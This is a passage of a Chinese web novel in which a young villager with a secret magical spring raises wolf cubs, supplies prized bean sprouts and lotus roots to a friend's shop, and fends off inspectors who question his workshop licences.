《随身灵泉》 第三十七章我跟你干 送走胡标等人，夜色已深。莫天扬回到屋里，见爷爷仍沉浸在电视剧的光影里，便没打扰。他轻轻招呼大青、小白和小狼崽们跟上，回到了自己的房间。 心念微动，一人九狼瞬间消失在原地，进入了神秘的灵泉空间。 与第一次进入就撒欢的小白、大青不同，这群生性畏水的小狼崽，一下就接触湛蓝水域，生性怕水的他们就发出不安的呜咽，弱小的身子更是在水域中扑腾。 大青喉咙里发出低沉的、安抚性的咕噜声，小白也凑过去，用鼻子轻轻触碰着最胆小的那只。在两位“前辈”的耐心安抚下，小家伙们紧绷的神经渐渐松弛下来。 终于，一只胆大的小狼崽试探着伸出粉嫩的舌头，小心翼翼地舔了一下近在咫尺的灵泉水。 瞬间，它的小眼睛猛地瞪圆了！一股难以言喻的清凉甘甜和蓬勃生机涌入身体，驱散了所有恐惧！它迫不及待地又舔了几口，紧接着发出欢快的呜鸣。 其他小狼崽见状，也纷纷效仿。很快，呜咽声变成了兴奋的啜饮声。一群毛茸茸的小家伙，在氤氲着灵雾的空间里，挣扎着开始了它们的“新大陆”探险。 莫天扬含笑看着这一幕，目光扫过整个空间。除了水域更加生机盎然，没有新的物种加入，灵泉空间本身似乎看不出太大变化。 然而，那方水域的变化却是翻天覆地的！灵泉水中，鱼虾蟹螺以惊人的速度繁衍生长。尤其是靠近中心那株神秘九彩荷莲的区域，盛开的巨大莲叶下，各色鱼群简直密集得如同流动的锦缎，层层叠叠，穿梭不息。 水底茂盛的水草丛中，挥舞着大螯的小龙虾、横行的螃蟹、吸附在石块上的螺类更是数不胜数。这方灵泉水域，俨然成了一个取之不尽、价值连城的巨大宝库！ 若将这些蕴含灵气的珍品拿出去售卖，莫天扬一夜暴富绝非虚言。但他深知灵泉空间的逆天之处，更明白怀璧其罪的道理。 出售可以，但必须找到完美的、不引人怀疑的渠道和说辞。否则，一旦秘密泄露，招来的祸患绝非他个人所能承受，甚至会连累身边所有亲近之人。 待小狼崽们探索得差不多了，莫天扬带着它们回到现实世界。他手中多了一小捆莲藕，这些莲藕都是生长在九彩荷莲附近的普通灵泉莲藕。 这些藕节晶莹如玉，温润细腻，散发着淡淡的清香。他将莲藕仔细装进一个不起眼的蛇皮袋里放好。这是给张学涛准备的礼物，更是为将来池塘大规模种植莲藕打响名头的“活广告”。 找来几条干净的毛巾，莫天扬准备给小狼崽们擦干湿漉漉的皮毛。当他看向炕上挤成一团、互相舔舐梳理的小家伙们时，却不由得微微一怔。 仅仅在灵泉空间待了不久，这群小狼崽的皮毛似乎变得更加油亮光滑，隐隐透出一种健康的光泽。更让他惊讶的是它们看自己的眼神——初来时那种本能的警惕和疏离几乎消失殆尽，取而代之的是一种近乎依赖的亲近，乌溜溜的眼眸清澈见底，映着灯光，显得格外灵动。 难道……灵泉水不仅滋养身体，还能开启灵智，增强亲和？ 他下意识地看向一旁正悠闲甩干毛发的大青。仿佛感应到他的疑惑，大青抬起头，对着莫天扬低沉而温和地“呜”了一声，眼神沉静而充满善意，再无半分野性的凶戾。 一夜无话。习惯了早睡早起的莫天扬，在生物钟的召唤下，天刚蒙蒙亮便醒了。陈峰他们说过会来帮忙装运豆芽，省了他不少事。不过，他此刻却有一项必须亲力亲为的重要任务——喂养那群嗷嗷待哺的小狼崽。 推开房门，小家伙们立刻有了反应。或许是昨夜灵泉的奇效，也或许是感受到了他身上令它们安心的气息，小狼崽们一见到莫天扬，顿时兴奋地“嗷嗷”叫着，跌跌撞撞地跑了过来，争先恐后地围着他的腿打转，小尾巴摇得飞快，亲昵得如同见到了母狼。 莫天扬心头一软，将温热的、掺了细碎肉末的奶水倒进准备好的几个小盆里。小家伙们立刻蜂拥而上，埋头苦干，发出满足的吧唧声。大青和小白只是慵懒地抬了抬眼皮，并未上前争抢，仿佛守护者般静静卧在一旁。 就在莫天扬含笑看着小狼们进食时，原本安静的大青和小白突然同时竖起耳朵，身体微微绷紧，警惕地看向屋外，喉咙里发出低沉的警示性呜噜声，但很快又放松下来，重新趴伏回去。 莫天扬了然一笑。小白机灵自不必说，大青作为山林野兽，感知更是敏锐异常。若是陌生人靠近，它早就冲出去了。能让它如此反应后又迅速平复的，多半是熟悉的陈峰他们来了。 果然，院子里很快传来脚步声和熟悉的交谈声。陈宏利那小子经过他屋门口时，还笑嘻嘻地趴在门框上探进半个脑袋打招呼：“天扬哥，早啊！小家伙们喂得咋样……” 他话音未落，炕边的大青猛地抬起头，发出一声低沉威严的咆哮！正在埋头干饭的小狼崽们也纷纷停下，龇着还没长齐的小乳牙，冲着门口方向发出此起彼伏的、奶凶奶凶的“呜呜”示威声，瞬间让陈宏利缩回了脑袋。 吃了掺和了肉末的奶水，大青、小白带着一群小家伙钻进了院中的菜地，有大青的保护，莫天扬也不担心小狼崽，他出门朝着豆芽培养的屋子过去。 等过去的时候，他看到六大瓮豆芽已经所剩无几，这让他不禁感叹，有人帮忙这效率还真的是没法说。 “天扬，我弄了新车，那边也搬到了新的摊子，要不要过去看看。”就在莫天扬感慨的时候，司机凌哥从外面进来。 “凌哥，昨天不还是……” 凌哥嘿嘿一笑，“这不是一直有你的业务，这蔬菜很快就能开园，我这不是想着弄个大点的车子给你拉货，所以就在上个星期订购了一辆集装箱。” 莫天扬点点头，心里感慨凌哥脑子灵活，“那就去看看，等一下我拿点东西。” 回去拿了那根防身的木棍和装着莲藕的蛇皮袋，莫天扬跟着凌哥出门，看着门外停放的崭新的集装箱，莫天扬不由得点头。 “凌哥，这集装箱比三轮车大了不少，可在我们这边的路上颠簸，你就不心疼。” “天扬，这一段时间给你干活，你这人大气，我赚了不少，只要你一直种菜、养豆芽，我就一直伺候你，至于说这一段路，慢一点就行，等上了国道快一点就行，不误事。” 莫天扬点头，回头看了眼陈峰、陈宏利等人，内心微微叹息一声，原本想的是有钱之后自己弄一辆货车，却不想凌哥提前想到，这一段时间凌哥给自己做事，无论是做什么都是任劳任怨，莫天扬内心中有了一个新的打算，那就是以后就用凌哥给自己进出货物。 第三十八章新店开张 浅驼县城，繁华的主干道上。凌飞稳稳地将车停在路边，下巴朝窗外一点：“喏，就这儿。” 莫天扬拎着装有莲藕的蛇皮袋和那根不离身的木棍下了车。抬眼望去，只见街边矗立着一家店铺。门面装饰并不奢华，却自有一股沉稳大气。最显眼的是那块崭新的招牌——店名依旧是“精品果蔬”，但尺寸比从前大了不止三倍！光是这气派的门头和宽阔的落地橱窗，就昭示着店铺面积今非昔比。 店门“叮铃”一声被推开，张学涛满面春风地迎了出来，身后跟着三个精神小伙。“仔细点搬，轻拿轻放！” 他回头叮嘱了一句伙计们，随即目光热切地转向莫天扬，带着几分调侃的笑意：“我说天扬，要不是凌飞告诉你我挪窝了，你是不是还打算猫在村里，连我这新店开张都不赏光啊？” 莫天扬咧嘴一笑，掂了掂手里的蛇皮袋：“哪能啊！这不，怕下次自己摸不着门，顺道给你带点‘土特产’贺贺新居嘛。” 若是旁人这么说，张学涛自然会当是寻常开业贺礼。但莫天扬不同！他带来的东西，哪一样是“寻常”二字能概括的？那些豆芽、鲫鱼、小龙虾，味道之绝，不仅让他张学涛回味无穷，更是连市里、甚至燕京那些尝过鲜的大人物们都念念不忘！莫天扬口中的“土特产”，张学涛直觉绝不会是那些常供的货色。 “走，去我办公室坐坐，喝杯茶！”张学涛热情地揽住莫天扬的肩膀往里让。 莫天扬却站着没动，故意卖了个关子，嘿嘿笑道：“涛哥，你就不先问问，我这趟给你拉来了多少‘硬通货’（指豆芽）？” 这一问，张学涛脚步顿住，心头猛地一跳！他二话不说，转身大步流星地走向那辆刚停稳的集装箱货车。他瞬间倒吸一口凉气！ 只见车厢里整整齐齐码放着一筐筐鲜嫩欲滴的豆芽，那数量，远非往日可比！他猛地回头看向莫天扬，眼中爆发出难以置信的激动光芒，声音都有些发颤：“天扬！你这…你那培育室成了？！” “嗯，”莫天扬点点头，语气平静却带着力量，“专门改造了个大点的屋子，总算能多供点货了。” 张学涛深吸一口气，强压下翻涌的心绪，重重地拍了拍莫天扬的肩膀，千言万语化作一句：“好兄弟！走，先进屋细说！”这份沉甸甸的信任和支持，让他心头滚烫。 步入宽敞明亮的新店，莫天扬暗暗点头。内部空间比老店至少大了五倍有余！货架上琳琅满目，许多以前不曾有的高档果蔬，品相极佳，显然都是精挑细选的上等货。 走进一间装修雅致的办公室，张学涛亲自泡上一壶好茶。清冽的茶香瞬间弥漫开来，沁人心脾。莫天扬轻嗅一下，赞道：“涛哥，鸟枪换炮啊！这茶香，不便宜吧？” 张学涛摆摆手，带着几分感慨：“朋友送的，据说来头不小，是专供上头那些大人物的玩意儿。他自己也就得了小半罐，硬是分了我些。说起来，这面子，也是沾了你的光。” “沾我的光？”莫天扬挑眉。 “可不嘛！”张学涛正色道，语气带着真诚的感激，“天扬，不瞒你说，我能搭上这么多线，认识这些人物，靠的就是你那些‘不起眼’的豆芽！别人我不说，就你这豆芽，现在连燕京那边的豪门都惦记上了！最近送来的货，我自己都难得吃上一口！对了，今天这趟…有多少斤？”他眼中满是期待。 “六七百斤，只多不少。”莫天扬报出数字。 张学涛激动地搓了搓手，感慨万千：“天扬，你真是我命里的贵人！对了，你刚说的‘土特产’……”他的目光不由自主地落在那只被莫天扬随手放在脚边的、鼓鼓囊囊的蛇皮袋上。 “哦，这个，”莫天扬弯腰提起袋子，放在茶几上，解开袋口的绳子，“山里偶然得了点莲藕，品相还行，带来给你尝尝鲜。” “莲藕？”张学涛微微一愣。莲藕在这缺水的沛川虽不算稀罕物，价格也亲民，但莫天扬特意带来……他心中那根弦瞬间绷紧，想到了豆芽，想到了鲫鱼……难道？！ 随着袋口敞开，里面的东西显露出来。张学涛的目光甫一触及，呼吸便是一窒！ 只见袋中静静躺着几段莲藕。它们通体晶莹，宛如上好的羊脂白玉雕琢而成，温润细腻得不似凡物。更有一股难以言喻的、极其清雅纯净的幽香，丝丝缕缕地飘散出来，瞬间压过了满室的茶香！ 市场上常见的莲藕，色泽暗淡，偶有泥土气，何曾有过这般宝光内蕴、异香扑鼻的品相？这哪里是食材？分明是浑然天成的艺术品！ 张学涛的心脏“砰砰”狂跳起来，一股巨大的惊喜和震撼如同浪潮般席卷全身！他几乎不用尝，仅凭这惊世骇俗的卖相和这闻之令人心神一振的异香，他就敢断定——这莲藕，必然与他之前得到的豆芽、鲫鱼一样，是足以颠覆认知的顶级珍品！莫天扬，又给他带来了一座金山！ 平复了一下激动的心理，张学涛看向莫天扬，“天扬，那青木山中怎么有这么多好东西。” “青木山有多大就是山下的老人都不知道，山里的好东西虽说不少，可因为山里有很多凶猛的动物，曾经就是猎人也不敢深入，这些年国家颁布动物保护法，更是没有人进山。” “那你……” “我在上一次下大雪之后救了一条青狼，说起来我也是沾了青狼的光，要不然的话，我也不敢进山。” “我听凌飞说过，也是你心善才接下了善缘，那我就不客气了，不过这以后……” 莫天扬淡淡一笑，“现在我池塘中也有这种莲藕，等秋天应该能吃上。” “那小龙虾、鲫鱼……” 莫天扬淡淡一笑，“咱们市场上见到的我那边都有，老人们都说我院中的古井连同青木山，那里面的鱼类大都是山里带回来的，我想味道肯定不差。” “我得抽个时间过去看看，”张学涛笑着说道。 莫天扬点点头，“再有一个星期黄瓜、茄子、豆角差不多能开园，到时候我给你打电话。” 张学涛一愣，“这么早。” 在说出这话的时候，张学涛的眼眸中满是惊讶，要知道这个时候也就是大棚中的蔬菜差不多到了销售的时候，可他却知道张学涛种植的蔬菜绝对没有大棚。 “到时候过去看看就知道了。” 张学涛点点头，“天扬，就在昨天网上有一个消息传出，说是有人从青木山带回家不少小狼崽，而且这些小狼崽还是山里的青狼亲自送过去的，那个人该不会也是你吧。” 莫天扬微微一愣，“这你们都知道了。” 见真的是莫天扬，张学涛摇头，“天扬，我是越来越佩服你了，别人养狗、养猫，你倒好直接养狼，这以后那些青狼长大，谁敢欺负你。” 张学涛哈哈一笑，“你要知道那些小东西只吃肉，我可养不起他们，应该是山里缺吃的，青狼才将他们送到我哪里，过一段时间他们长大一些，我还是会送他们回山。” “对了，涛哥，你这店面没少花吧。” 张学涛点点头，“一百多万，不过大都是我这段时间结交的那些人投资，我慢慢还就行，其实我更得感谢你，没有你送来的那些好东西，我也接触不到这些人。” 第三十九章张学涛的礼物 闲聊间，张学涛的手机响了。他瞥了眼屏幕，也没避讳莫天扬，直接接通了电话。 莫天扬安静地喝着茶，从张学涛简短恭敬的应答声中，听出对方似乎在急切地询问豆芽的到货情况。他心中了然，这八成是沛川那边有份量的老主顾。 电话挂断，张学涛没等莫天扬开口，便主动道：“天扬，刚是沛川一位朋友，等下要和几个朋友过来取点东西。这些人有点背景，我寻思正好介绍你们认识认识，往后说不定能多条路。” 莫天扬闻言，下意识低头看了眼自己身上洗得发白的旧夹克——这还是大学时代的“老伙计”。他扯出一个略带窘迫的笑，摆摆手：“涛哥，我这身行头，就别去给人家添堵了。真有事，我找你这位‘涛哥’不就顶半边天了嘛！” 张学涛看着他那副“敬谢不敏”的样子，心里暗暗叹了口气。相处久了，他多少摸清了莫天扬的性子。或许是早年家庭变故的影响，或许是本性使然，这孩子对人情往来、攀附结交，确实有种本能的疏离和抗拒。 “成，那咱以后再说。”张学涛也不勉强，爽快应道，随即岔开话题，“对了，张老师最近身子骨可硬朗了！退休在家，精神头反而更足。你送来的那些东西，我都单独给他留一份。嘿，老爷子说了，吃了这段时间，连好些老毛病都轻省了不少！直夸你那地儿养人！” 两人说着话走出办公室，一个小伙计迎上来：“涛哥，货都卸好了，清点入库了。” 张学涛点点头，转向莫天扬：“走，看看斤两，钱马上转你。” 过秤的结果让两人都喜上眉梢：“七百一十八斤！”这个数字沉甸甸的，意味着莫天扬的收入又跨上了一个新台阶。张学涛更是看到了源源不断的“精品”供应。 结算完毕，莫天扬正要告辞，张学涛却忽然叫住他，转身从办公桌后提出一个沉甸甸的硬纸箱，不由分说塞到他怀里。 “涛哥，这……”莫天扬抱着箱子，有些愕然。 “拿着！”张学涛拍了拍箱子，眼神真诚，“那些朋友送我的谢礼。可没有你的豆芽，哪来这些朋友？有我的，自然就有你一份！别推辞！” 当着店员的面，莫天扬不好多说，只得诚恳地道了谢，抱着那分量不轻的纸箱离开了店铺。 走出老远，莫天扬看看天色尚早，心头忽然一动。灵泉空间里那些鱼虾蟹螺，品种繁多，好些连他自己都还没尝过。如今池塘已经蓄水，正好借此机会去水产市场转转，一来看看有什么新鲜品种可以引进，二来嘛，今天也能好好犒劳自己，尝尝空间里那些“宝贝”的滋味！ 然而，在略显萧条的水产市场转了一圈，莫天扬颇感失望。摊位上的货色依旧平平无奇，与往日并无二致。他兴致缺缺，只在离开前顺手买了两个结实的大号塑料水桶。 打车回到通往村子的岔路口，莫天扬抱着纸箱，拎着空桶，熟门熟路地再次拐向那片熟悉的洼地。等他再次出现在路边时，两个桶里两条足有十几斤重、鳞片闪着暗金光泽的大花鲢，和四五条活力十足、体态优美的淡水鲈鱼。 他掏出手机打给陈宏利。十几分钟后，熟悉的拖拉机“突突”声由远及近。陈宏利跳下车，一眼就看到了桶里的“大货”，尤其是那几条鲈鱼，让他眼睛一亮：“嚯！天扬，连这稀罕玩意儿都弄上来了？” 莫天扬笑着拍拍水桶：“涛哥送的，说是跟咱家塘里养的一样，都是淡水鲈。正好，晚上让大伙儿都尝尝鲜！” 回到大院，莫天扬刚放下东西，就被一群兴奋的小狼崽团团围住。他索性在屋门口坐下，带着几分好奇，打开了那个沉甸甸的纸箱。 箱盖掀开的瞬间，莫天扬愣住了！ 里面赫然躺着三条红彤彤的软中华香烟，两瓶素雅白瓷瓶的飞天茅台酒。此外，还有两盒没有任何标识的纯红色烟盒，以及一个用牛皮纸仔细包裹的小方包。 莫天扬的眉头微微蹙起。虽然学生时代囊中羞涩，但他也清楚“软中”和“茅台”在市面上代表着怎样的价位和身份。这些都是普通人难以企及的“硬通货”。那个无标的烟盒和小纸包，更是透着一种低调的、不寻常的份量。 他默默将箱子搬进自己屋里，放在炕沿上。指尖拂过光滑的烟盒和冰凉的酒瓶，心底涌起一股强烈的触动。张学涛这份“回礼”，远超他的预期。这份情谊，太重了。 但转念一想张学涛的话——“有我的就有你的”、“那些人一顿饭的花销”，莫天扬又慢慢释然了。在张学涛如今接触的圈子里，这些东西或许真的只是寻常的“心意”，代表着对他莫天扬的认可和感激。 看着箱子里的东西，他默默计算了一下帮忙干活的乡亲人数。随即，他拿出两条软中华，走向飘出鱼香的厨房。 厨房里热气腾腾，陈宏利正和父亲陈峰以及几个帮忙的婶子忙碌着，处理那条硕大的花鲢和鲜活的鲈鱼。莫天扬一进门，眼尖的陈宏利立刻注意到了他手里的红盒子，惊讶地瞪大了眼：“中华？天扬，你这是……” “涛哥给的。”莫天扬把烟放在干净的案板边，语气自然，“宏利，拿去给大家伙分分，干活辛苦，抽根好烟解解乏。” 陈峰闻言，连忙放下手里的刮鳞刀，沾着鱼腥的手在围裙上用力擦了擦，脸上写满了局促和不安：“哎哟！使不得！使不得！天扬，这烟太金贵了！我们这些泥腿子哪能糟蹋这个？你快收起来！留着以后办大事、走人情用！”其他几个婶子也连连点头附和，都觉得这烟拿在手里都烫手。 “以后说不定还有呢，”莫天扬笑着把烟推给陈宏利，“你去分给大家。我这儿还留了一条，给爷爷送去。” 莫啸的屋子里光线有些暗，老人正斜倚在炕头，津津有味地看着电视里播放的《亮剑》。 听到动静，他转过头，见是孙子，便撑着炕沿坐直了些身子：“宏利不是说你去县里了？这么快就回来了？” “嗯，去看了个朋友新开的店，涛哥那儿。”莫天扬走到炕边，把手里的烟放下，“这是朋友送的，涛哥分了我一些。这条‘中华’您留着抽，还有这两包……”他指了指那两盒没有任何标识的暗红色烟盒，“也不知道是什么牌子，您也尝尝。” 莫天扬话音未落，莫啸的目光扫过那条中华，最后落在那两包无标暗红烟盒上。就在那一刹那，他那双平日里略显浑浊的老眼猛地一缩，眼底深处掠过一丝难以察觉的锐利和惊讶！这细微的变化快如闪电，几乎让人以为是错觉。 “这烟……”莫啸的声音比平时低沉了些，带着一丝不易察觉的探询，“是谁送的？” “就是县里精品果蔬店的老板，张学涛，涛哥。”莫天扬没注意到爷爷的细微变化，解释道，“他说也是别人送他的，分了我一部分。” “哦……”莫啸缓缓点了点头，眼底那抹异样的锐利如同潮水般迅速退去，又恢复了往日的浑浊平静，“这烟……看着就不便宜吧？那条中华我知道，得好几百呢。” “嗯，中华大概五六百一条吧。那两包没名字的，我就真不知道了。”莫天扬如实回答。 莫啸布满皱纹的脸上，慢慢漾开一丝极淡、却透着欣慰的笑容：“都……给我？” “是啊，刚才给宏利叔他们分了两条中华，这些是专门给您留的。”莫天扬语气自然，仿佛这是再平常不过的事，“您看放哪儿？我给您搁好，还得去塘边看看抽水的情况。”他一边说，一边环顾着想把烟放到爷爷顺手的地方。 “就放炕柜上头吧，”莫啸指了指炕头的矮柜，浑浊的目光在那两包暗红无标的烟盒上又停留了一瞬，随即移开，仿佛只是随意一瞥，“……别糟蹋了，好烟。”他轻声嘀咕了一句，像是自言自语，又像是对孙子的叮嘱，语气里带着一种难以言喻的复杂意味。 第四十章麻烦？ 菜地里，莫天扬正弯腰浇灌着嫩绿的秧苗，动作忽然一顿！一声穿透力极强的狼啸撕裂了午后的宁静，从院子方向传来——是大青！ 相处日久，莫天扬已能分辨大青啸声中的细微差别。这声音并非寻常的呼唤，而是带着清晰的警戒意味！外面来了生人！ 他直起身，眉头微蹙。张学涛早上的提醒在脑中闪过——家里养了二十多只小青狼的消息，怕是早已传遍了十里八乡。或许是邻村好奇的村民，又来看热闹了？ 然而，下一秒，远超常人的敏锐感知捕捉到了更多异样——急促杂乱的脚步声，紧接着是刺耳的汽车刹车声！不止一辆！莫天扬眼神瞬间锐利如刀，心头警铃大作！ “天扬！天扬在哪？”曹勇焦急的呼喊声由远及近。 “在菜地呢！出啥事了？”陈峰的声音跟着响起，同样带着紧张。 “勇叔，这儿呢！”莫天扬扬声应道，快步从菜畦中走出，“怎么回事？” 曹勇气喘吁吁地跑过来，指着院门方向，脸色发白：“快！来了好几辆车，全是穿制服的！看着来者不善！” 执法者？莫天扬心头一沉，疑云顿生。又是莫老三父子在背后搞鬼？否则这些官家的人，怎么会三番两次跑到青木村这穷乡僻壤来？ 他大步流星走向院门。刚绕过菜地，便看见十几名身穿制服的执法者僵在院门外，如临大敌！他们前方，体型庞大的大青如同一尊青灰色的门神，堵在门口，颈毛微微炸起，喉咙里滚动着低沉而充满威胁的咆哮，幽绿的狼眼死死锁定着这群不速之客。 它身后，一群小狼崽也龇着稚嫩的乳牙，发出“呜呜”的示威声。无形的野性威压，硬生生将这群人逼停在数米开外。不远处，闻讯赶来的村民们远远站着，指指点点，交头接耳。 “大青！回来！”莫天扬的声音不高，却带着不容置疑的威严。 如同接到圣旨，大青立刻收起了攻击姿态，低呜一声，转身矫健地小跑回莫天扬身边，亲昵地用头蹭了蹭他的腿。那群小狼崽也仿佛找到了主心骨，跌跌撞撞地围拢过来，簇拥在莫天扬脚边。 有了依仗，小家伙们胆子也壮了，纷纷转过头，对着那群执法者龇牙咧嘴，喉咙里发出稚嫩却充满敌意的低吼，小小的狼眼里竟也迸射着野性的凶光！ 莫天扬安抚地拍了拍大青厚实的脊背，目光平静地迎向那群面色不善的执法者。青狼如同最忠诚的护卫，紧紧跟随在他身侧。只有小白狗仿佛事不关己，摇着尾巴，悠哉地钻进了旁边的菜地。 “几位同志，这是……”莫天扬语气平和，明知故问。虽然猜到十有八九又是莫老三捣鬼，脸上却丝毫不露痕迹。 “你是户主莫天扬？”为首一个四十岁上下、面色严肃的执法者沉声问道。 “是我。” “好！”那人目光扫过莫天扬身边的大青和那群小狼崽，语气陡然变得严厉，“这些青狼崽是怎么回事？！你难道不知道青狼是国家二级保护动物？竟敢私自圈养在自家院子里！根据《野生动物保护法》……” “同志，”莫天扬不等他说完，直接打断，声音清晰有力，“您觉得，我一个普通村民，有胆子、有能力去山里抓一群二级保护动物回来圈养吗？更何况，您也亲眼看见了，”他摊开手，示意了一下身边自由活动的狼群，“我何曾限制过它们的自由？谈何‘圈养’？” 这番话让那群执法者齐齐一愣。他们中大多数没见过真正的野生青狼，但常识告诉他们，青狼生性凶悍，野性难驯，即便是动物园里精心饲养的个体，也绝不可能如此亲近依赖一个普通人！眼前这青年身边的成年青狼，那温顺依恋的模样，简直颠覆了他们的认知！ 莫天扬心中稍定。看来昨天青狼下山的事情确实传开了。这些人或许就是冲着狼群来的？ 然而，一丝疑虑悄然浮上心头。按常理，处理野生动物相关事宜，应该是林业或动物保护部门的人来，他们通常没有统一制服，或者制服样式不同。眼前这群人，制服样式……倒更像是工商、市场监管之类的部门？而且，人群中似乎有几个人影，看着有点眼熟…… “那这些青狼为什么会出现在你家？”为首的执法者紧追不舍，显然没打算轻易放过这点。 莫天扬抬手指了指远处围观的村民，朗声道：“村里乡亲们都知道。前段时间大雪封山，我在院子外发现了这头受伤的青狼（他拍了拍大青），就把它救回来了。至于这群小家伙，” 他指了指脚边的小狼崽，“是昨天山上母狼带下来的。山里食物匮乏，它们或许是走投无路才来到我这里。我总不能眼睁睁看着这群受保护的小生命饿死吧？这才收留了一晚。就这一天，买肉喂它们就花了我好几百块！几位同志今天过来，想必也是为了它们的安全吧？” 那为首的执法者眉头拧成了疙瘩，显然莫天扬这番滴水不漏的解释让他有些棘手。他沉默了几秒，才板着脸道：“目前县里确实没有专门的野生动物救助站。既然情况特殊，暂时……就让它们留在你这里观察。但是！”他话锋一转，语气加重，“如果让我们发现你有虐待或者非法利用保护动物的行为，我们必定依法严惩！” “这个自然。”莫天扬平静点头。 “还有别的事？”为首者目光锐利地盯着莫天扬。 “当然有！”旁边一个三十多岁、眼神略显阴鸷的执法者抢着开口，“我们接到举报，你这里非法开设了一个豆芽生产作坊！” 豆芽作坊？！ 莫天扬心头猛地一震！如同一道闪电划过脑海，他终于明白刚才那股“眼熟”感从何而来了！人群中那几个身影，不正是前段时间莫老三毒豆芽之后，过来想要查封自己作坊的那几个。 “没错，是有个生豆芽的地方。”莫天扬压下心头的怒火，语气依旧沉稳，“不过，‘非法’二字从何说起？我记得清清楚楚，就在不久前，也是几位市场监管的同志亲自上门检查过。我的工商执照、卫生许可证、食品小作坊登记证，还有市里权威机构出具的豆芽无公害及营养成分检测报告，可都齐全得很！当时你们不是也认可了吗？”他特意加重了“市场监管”和“亲自上门”几个字，目光若有若无地扫过人群里那几个心虚的身影。 “证件是证件！”那阴鸷执法者似乎早有准备，立刻抛出新的刁难，“那健康证呢？作坊的消防安全合格证呢？这些你有吗？” 健康证？消防安全证？ 莫天扬心中冷笑。自从知道莫老三有安云飞这个大靠山，张学涛就提醒过他，对方可能会在手续上做文章。健康证他早就办好了，就防着这一手。 但消防证……因为豆芽生产主要用水，他之前确实觉得风险不大，加上村里条件有限，就没急着去办。没想到对方还真就揪住了这点！ 看到莫天扬似乎迟疑了一下，那群执法者眼中瞬间迸发出抓到把柄的亮光！为首的执法者立刻挺直腰板，声音拔高，带着一种胜券在握的严厉： “没有健康证和消防证？那你这作坊就是重大安全隐患！为了人民群众的食品安全和市场秩序，我们现在就要依法对你这个非法作坊进行查封！” “健康证？”莫天扬像是刚想起来，嘴角却勾起一抹不易察觉的弧度，慢悠悠地从口袋里掏出一个塑封的小本子晃了晃，“谁说没有？我的健康证，一直随身带着呢。要不，您几位再仔细检查检查？” 看着那崭新的、盖着红章的《从业人员健康证明》，那群执法者脸上的得意瞬间僵住，像被人掐住了脖子！他们万万没想到，一个村里的小作坊主，竟然连健康证都办得这么齐全！要知道，在乡下，做点小生意的人，有几个会专门去办这个？ 那阴鸷执法者脸色涨红，恼羞成怒，指着旁边闻声围过来的陈峰、曹勇等人：“那他们呢！他们是不是也参与生产了？他们有没有健康证？没有的话，这作坊一样得封！” 这一招不可谓不毒辣。陈峰等人都是老实巴交的农民，哪会有什么健康证？ 然而，莫天扬早有准备。他神色从容，语气斩钉截铁：“不好意思，这位同志。我这豆芽，用的是家传的古法秘方，整个生产流程只有我一个人能掌握，也严格规定只能由我一人操作！其他人，包括我的至亲好友，都绝不允许踏入作坊半步！这是为了保证品质和秘方不外泄。 他们，”他指了指陈峰等人，“只是在院外帮我做些挖塘、种地的杂活，与豆芽生产无关！这一点，村里的乡亲们都可以作证！” “对对对！天扬那作坊可严实了，锁得死死的，就他自己能进！” “俺们想进去看看豆芽咋生的，他都不让！” “就是！那屋除了天扬，连只苍蝇都飞不进去！” 莫天扬话音刚落，围观的村民们立刻七嘴八舌地大声附和起来，声音洪亮，态度鲜明。陈峰、曹勇等人也连连点头，证明莫天扬所言非虚…… 第四十一章美味鲢鱼 “光你们说可不行！我们得亲自进去检查！”为首的执法者板着脸，显然不甘心空手而归。 随着这群执法者硬着头皮走进院子（目光还警惕地瞟着不远处的大青），外面看热闹的村民也呼啦啦涌了进来。一时间，原本清静的院子变得人声嘈杂。 当村民们踏进院子深处，许多人不由得发出阵阵低呼！那些原本只想看热闹的人，目光也被菜地里生机勃勃的景象和初具规模的池塘牢牢吸住，下意识地沿着田埂小路走了过去。 看着眼前这片郁郁葱葱、规划井然的菜地，波光粼粼、石砌整齐的池塘，再回想记忆中那个荒草丛生、破败不堪的老宅大院，每一个上了年纪的村民心中都翻涌着难以言喻的震撼与感慨。这才多久？简直脱胎换骨！ 养豆芽的屋子门口，莫天扬平静地打开了门锁。执法者们鱼贯而入，目光扫过屋内，脸上的严肃瞬间被惊讶取代。 屋内地面、墙壁一尘不染，所有器具摆放得整整齐齐，通风良好，空气里只有淡淡的、湿润的清新气息，没有一丝作坊常有的闷湿或异味。 这干净程度，别说他们见过的村里小作坊，就连县里那些被树为标杆的示范点，也未必能比得上！ 等莫天扬揭开几个大水瓮的盖子，所有探头查看的执法者都不约而同地倒吸了一口凉气，发出了难以置信的惊呼！ 瓮中，豆芽根根挺立，饱满得惊人！洁白如玉的芽茎粗壮笔直，顶端包裹着的豆瓣嫩黄饱满，水灵灵的仿佛轻轻一碰就能沁出汁水来！它们密密匝匝地挤在一起，却根根分明，晶莹剔透，在昏暗的光线下甚至泛着温润的光泽，哪里像是食物？分明是一件件精雕细琢的玉器艺术品！ 豆芽谁没见过？可眼前这瓮中之物，却颠覆了所有人的认知！更让他们惊异的是，扑面而来的并非想象中的豆腥或化学气味，而是一种极其纯净、浓郁的、属于新鲜豆类特有的清甜香气！仅仅是闻着这股奇异的豆香，就让人口舌生津，心底涌起一股强烈的、想要品尝的冲动！ 挑不出半点毛病！连最刻薄的执法者都哑口无言。至于消防证？见识了这作坊的整洁和莫天扬连健康证都备齐的“专业”，他们下意识地认为，消防证对他来说肯定也不是问题。这群兴师动众而来的人，最终只能悻悻然地离开了院子，背影甚至显得有些灰溜溜。 然而，进院的村民们却一个都没走。他们围在菜地旁、池塘边，指指点点，啧啧称奇，每一个人的脸上都写满了由衷的赞叹和不可思议。 “天扬，这些人……”陈峰凑过来，脸上带着担忧和后怕。 莫天扬摇摇头，示意他不必多言，转而看向陈宏利：“宏利，等下给大家伙都拍个照，我回头找人，给咱们帮忙的每个人都办一张健康证。” “行！吃了饭我就办，让大家伙都拾掇拾掇，拍精神点！”陈宏利立刻应道。 莫天扬点点头，转身走向厨房：“大伙儿先歇会儿，我去把饭菜弄好，饿坏了吧。” 因为执法者的搅扰，这顿饭硬是拖到了下午一点多才开席。桌上早已摆满了硬菜：炖得烂熟的黄羊肉、酱香浓郁的野兔肉，还有几盘翠绿欲滴的时蔬小炒。单是这些，其丰盛程度就足以让城里普通人家咂舌。 然而此刻，围坐在桌边的人们却都按捺着食欲，目光时不时瞟向厨房门口，空气中弥漫着一种心照不宣的期待——他们在等最后两道压轴大菜！ 来了！ 